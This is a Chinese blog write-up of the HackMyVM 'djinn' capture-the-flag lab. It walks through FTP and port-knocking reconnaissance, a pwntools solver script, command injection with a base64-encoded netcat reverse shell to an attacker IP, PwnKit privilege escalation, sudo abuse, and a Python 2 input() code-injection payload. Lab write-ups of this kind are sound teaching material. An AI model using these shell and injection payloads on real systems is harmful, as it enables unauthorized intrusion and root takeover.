hackmyvm djinn复盘
FLow

靶机信息

地址:https://hackmyvm.eu/machines/?v=djin

难度:easy

信息收集

端口扫描,扫到21,1337,7331开放,先用anonymous作为账号密码登陆21号端口,有三个txt文件,下载来看看

game里面说1337端口有个game,nc连接一下

是个计算游戏,需要算对一千次,这种就需要写个脚本解决了(以下脚本是参考wp的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import pwn
import time

c = pwn.remote('192.168.64.80', '1337') # 建立一个远程联机
c.recvuntil('gift.\n') # 接收连接中的数据,直到遇到字符串 'gift.\n' 为止
count=0
while count < 1001: # 做1000次循环
count += 1
data = c.recvuntil(b")").decode()
c.recv() # 接收连接中的数据,但不做任何处理,用于清空缓冲区
print(data)
num1, num2, todo = int(data[1]), int(data[9]), data[5]
if todo == "+":
answer= num1 + num2
elif todo == '-':
answer= num1 - num2
elif todo == '*':
answer= num1 * num2
elif todo == '/':
answer= num1 / num2
c.send((str(answer) + "\n\r").encode())
if count > 998: # 打印最后几次的详细信息
print(answer, count)
time.sleep(0.5)

print(c.recv().decode())

跑完脚本最后给了三个数字,猜测是敲门,此时22端口是关着的

按顺序敲门后,22号端口打开了

接着我想用刚刚拿到的“nitu:81299””nitish81299”尝试登陆ssh,都没有用,这个时候想到之前有个7331端口还没看

先扫目录,用了一个大一点的字典后扫到有/wish /genie

访问/wish,有个可以execute的,输入id试试

跳转到了genie,注意url有出现www-data,说明是执行成功的

接下来反弹shell,经过多次尝试,发现可以利用拿到第一个shell

1
2
3
4
echo ` echo "cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL2Jhc2ggLWkgMj4mMXxuYyAxOTIuMTY4LjY0LjMgODg4OCA+L3RtcC9m" | base64 -d ` | sh -

base64解码的内容是:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.64.3 8888 >/tmp/f
管道 |sh - 表示讲解码后的内容交给sh当成脚本执行

提权方式1

拿到第一个shell后,使用find查看有没有什么可以用(sudo -l找不到什么可以用的)

1
find / -perm -u=s -type f 2>/dev/null

看到pkexec可以用

查找到版本是0.105,上网搜索了一下有没有可以用的脚本,最后找到https://www.hackingarticles.in/linux-privilege-escalation-pwnkit-cve-2021-4034/ 可以用

成功提权到root

提权方法2

切换到home目录下,有nitish和sam两个用户,sam目录进不去,在nitish目录的.dev目录下有个creds.txt

有一个密码,接下来用ssh登陆nitish账户

p4ssw0rdStr3r0n9

sudo -l发现有个genie可以利用,在网上找现成的提权方式失败

-h查看帮助,有一个-e执行cmd,但是还是失败了

然后用man查看genie,发现有个cmd

1
sudo -u sam /usr/bin/genie -cmd 随便写点

成功拿到sam的shell

sudo -l看到有个lago可以利用,执行看看,测试了一下,有几个选项,其中比较有用的是有个猜数游戏

解决思路1(暴力)

用个一直循环的脚本,一直坚持猜同一个数字,看运气,总有能猜对的时候

1
while true; do sudo /root/lago; done

解决思路2

在/home/sam的目录下有个.pyc文件,下载下来反编译一下,就能看到lago的源码,注意到

选项2那里有个判断,要判断s是否等于num,那直接输入num,input把你传递的num当成了一个变量(注意靶机的pyhton版本是2.x,如果是3以上的版本这个思路不行),num=num自然就可以了,神奇。

也可以利用input的动态载入,也能拿到root

1
__import__('os').system('/bin/bash')

输入这个python2的input支持动态载入,把这个语句当成表达式执行,如果是pyhton3就只会当成字符串

总结

这个靶机涉及到的知识点比较多:ftp下载文件,远程计算器脚本的编写,ssh敲门打开端口,反弹shell的绕过方法,pkexec的提权,man查看使用手册(比–help详细),pyc反编译,python2中input的智能转换和动态载入的利用,都很值得学习。

在整个过程中,信息搜集一如既往的重要。

由 Hexo 驱动 & 主题 Keep